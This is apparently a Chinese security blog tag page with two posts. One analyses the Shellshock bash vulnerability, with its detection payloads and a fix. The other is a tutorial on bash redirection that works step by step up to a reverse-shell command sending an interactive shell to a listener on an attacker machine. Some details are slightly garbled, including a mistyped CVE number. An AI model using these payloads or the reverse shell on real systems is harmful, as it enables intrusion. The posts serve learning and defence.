Tag:bash

Tag (bash)'s result:

重温经典:shellshock漏洞重现及分析

0x00 概述 2014年9月24日,网上爆出shellshock漏洞,掀起一阵波澜。 cve-2014-6721:由于数据没有和代码分离,导致bash的env在处理自动导入函数完成后继续执行后面的代码(命令)。 cve-2014-7169:利用语法报错绕过cve-2014-6721。 简单检测: 0. 查看bash版本是否<4.3 bash –version <4.3则可能存在漏洞   1. env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” 如果输出了vulnerable则存在漏洞(6271)。   2. env X='() { (a)=>\’ sh -c “echo date”; cat echo 如果当前目录生成了echo文件并且文件内容就是当前时间,则存在漏洞(7169)   0x01 触发条件 服务允许用户定义环境变量。 服务会调用bash。(创建bash子进程) 服务调用子bash时加载了用户定义的环境变量。 //如CGI会把HTTP包头部字段env为临时环境变量,并在里面启动子bash,这样就触发了漏洞。   0x02影响范围 Bash<4.3 cgi,dhcp,openssh等可与bash交互的应用。   0x03 漏洞重现 环境:vulhub   0x04 修复方案 升级bash   0x05 漏洞分析 export a=aaa: 使变量a在子bash中也可见。 env a=aaa 设置环境变量a,同时export。 6721测试payload: env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” 以() {开头的定义是函数导出为环境变量,而漏洞bash在处理函数环境变量时并没以};结束,再执行了后面的代码“echo vulnerable”。 bash -c是创建子bash以触发漏洞(echo vulnerable)。 子bash(进程)在复制父bash(进程)会读取父bash(进程)所有环境变量并复制到自己的进程空间,过程中执行了函数体外的代码(命令)。 漏洞函数:parse_and_execute   7169测试payload: env X='() { (a)=>\’ sh -c “echo date”; cat echo X='() { (a)=>\’ X这个变量的值就是 () { (a)=>\,其中的 (a)=这个东西目的就是为了让bash的解释器出错(语法错误),出错后,在缓冲区中就会只剩下了 “>\”这两个字符。于是,bash会把后面的命令echo date换个行放到这个缓冲区中,然后执行。 相当于: >\ echo date 即>echo date 重定向,也就是 date > echo   0x06 结语 古老的漏洞,现在估计非常少了,但是运气爆发或许就碰到了呢。 Ps:在服务器领域占有不少份额的大多数FreeBSD 和NetBSD已经默认关闭了自动导入函数的功能,以应对未来可能出现的漏洞。   0x07 参考资料 https://wps2015.org/drops/drops/Shellshock漏洞回顾与分析测试.html https://yq.aliyun.com/articles/53608# https://coolshell.cn/articles/11973.html codefine.site/2509.html https://blog.csdn.net/u011721501/article/details/39558303 https://blog.csdn.net/Anprou/article/details/72819989 www.antiy.com/response/Bash Shellshock(cve-2014-6271)_V1.5.pdf www.91ri.org/10922.html

linux bash >&总结

0x00 前言 经常接触到bash的>&符号,总是忘记或者混淆,特有此文总结。   0x01 概述 0:stdin标准输入 1:stdout标准输出 2:stderr标准错误 >:输出重定向 <:输入重定向 /dev/null:空洞,可以理解为黑洞或垃圾箱 直接ls > 1系统会误认为是把标准输出重定向到1这个文件而不是标准输出,所以加上&1表示标准输出。 标准错误2不仅显示错误信息,还有回显输入命令和终端提示符的作用。 >/dev/null 2>&1:把标准输出重定向到黑洞,接着标准错误重定向到标准输出,也就是扔到一样黑洞。 2>&1 >/dev/null:先把标准错误重定向到标准输出,注意这里标准输出还是默认输出到屏幕,所以会输出stderr,接着标准输出重定向到黑洞,所以输出stderr不输出stdout。   0x02 测试 测试0: redhat:cat hi.txt >/dev/null abcd >/dev/null 2>&1   测试1: kali: nc -vvlp 1234 redhat:bash -i >/dev/tcp/kaliIP/1234 解释:bash -i创建的交互式子shell的标准输出给了/dev/tcp/kaliIP/1234,所以在redhat中输入ls命令的输出结果在kali中显示,但是标准错误2还是在redhat中,所以输入abcd这个不存在的命令时标准错误显示在redhat中。   测试2: kali:nc -vvlp 1234 redhat:bash -i </dev/tcp/kaliIP/1234 解释:redhat从/dev/tcp/kaliIP/1234中获得标准输入0,将ls命令的结果显示出来。由于标准错误2还在redhat,所以在kali中输入abcd这个不存在的命令时,错误信息显示在redhat,注意这里命令虽然在kali中输入,但是命令也会回显到redhat,因为标准错误2还在redhat……貌似强调得有点多了^-^!。   测试3: kali:nc -vvlp 1234 redhat:bash -i >/dev/tcp/kaliIP/1234 0>&1 解释:在redhat中将标准输出1重定向到kali,标准输入0重定向到标准输出1,也就是在kali中输入命令ls,命令传到redhat的子shell,再将命令结果输出到kali,注意这里标准错误2在redhat,所以redhat有命令回显和标准错误(如图的abcd)。   测试4: kali:nc -vvlp 1234 redhat:bash -i >/dev/tcp/kaliIP/1234 0>&1 2>&1 解释:redhat中在测试3的基础上将标准错误也重定向到标准输出,这样在redhat中就没有了标准错误信息和命令回显(包括命令提示符),这就是一个基本的反弹shell了。 通过查阅资料https://www.gnu.org/software/bash/manual/bash.pdf 可以发现 There are two formats for redirecting standard output and standard error: &> word and >& word Of the two forms, the first is preferred. This is semantically equivalent to > word 2>&1 也就是说2>&1和>&/dev/…,&>/dev/…是一样的,亲测有效。   0x03 结语 多看看官方手册还是不错的。   0x04 参考资料 www.freebuf.com/articles/system/153986.html https://www.gnu.org/software/bash/manual/bash.pdf blog.csdn.net/yasi_xi/article/details/8637069 www.jb51.net/article/106373.htm